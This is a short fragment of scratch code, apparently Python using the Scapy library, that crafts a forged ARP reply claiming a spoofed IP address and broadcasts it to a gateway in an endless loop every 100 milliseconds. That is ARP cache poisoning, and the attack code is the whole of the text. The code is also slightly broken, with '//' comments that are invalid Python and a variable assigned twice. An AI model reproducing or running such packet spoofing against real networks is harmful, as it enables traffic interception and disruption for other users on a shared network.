scapy to generate bytes
    targetMAC = "d4:6c:6d:3e:a4:13" //get_mac(gateway)
    targetMAC = "ff:ff:ff:ff:ff:ff"
    gatewayIP = "192.168.1.1" // get_gateway()
    spoofedIP = "192.168.4.1"

    pkt = ARP(op=2, hwdst=targetMAC, pdst=gatewayIP, psrc=spoofedIP)
    hexdump(pkt)
    bytes(pkt)
    raw(pkt)
    sendp(pkt, inter=0.100, loop=1)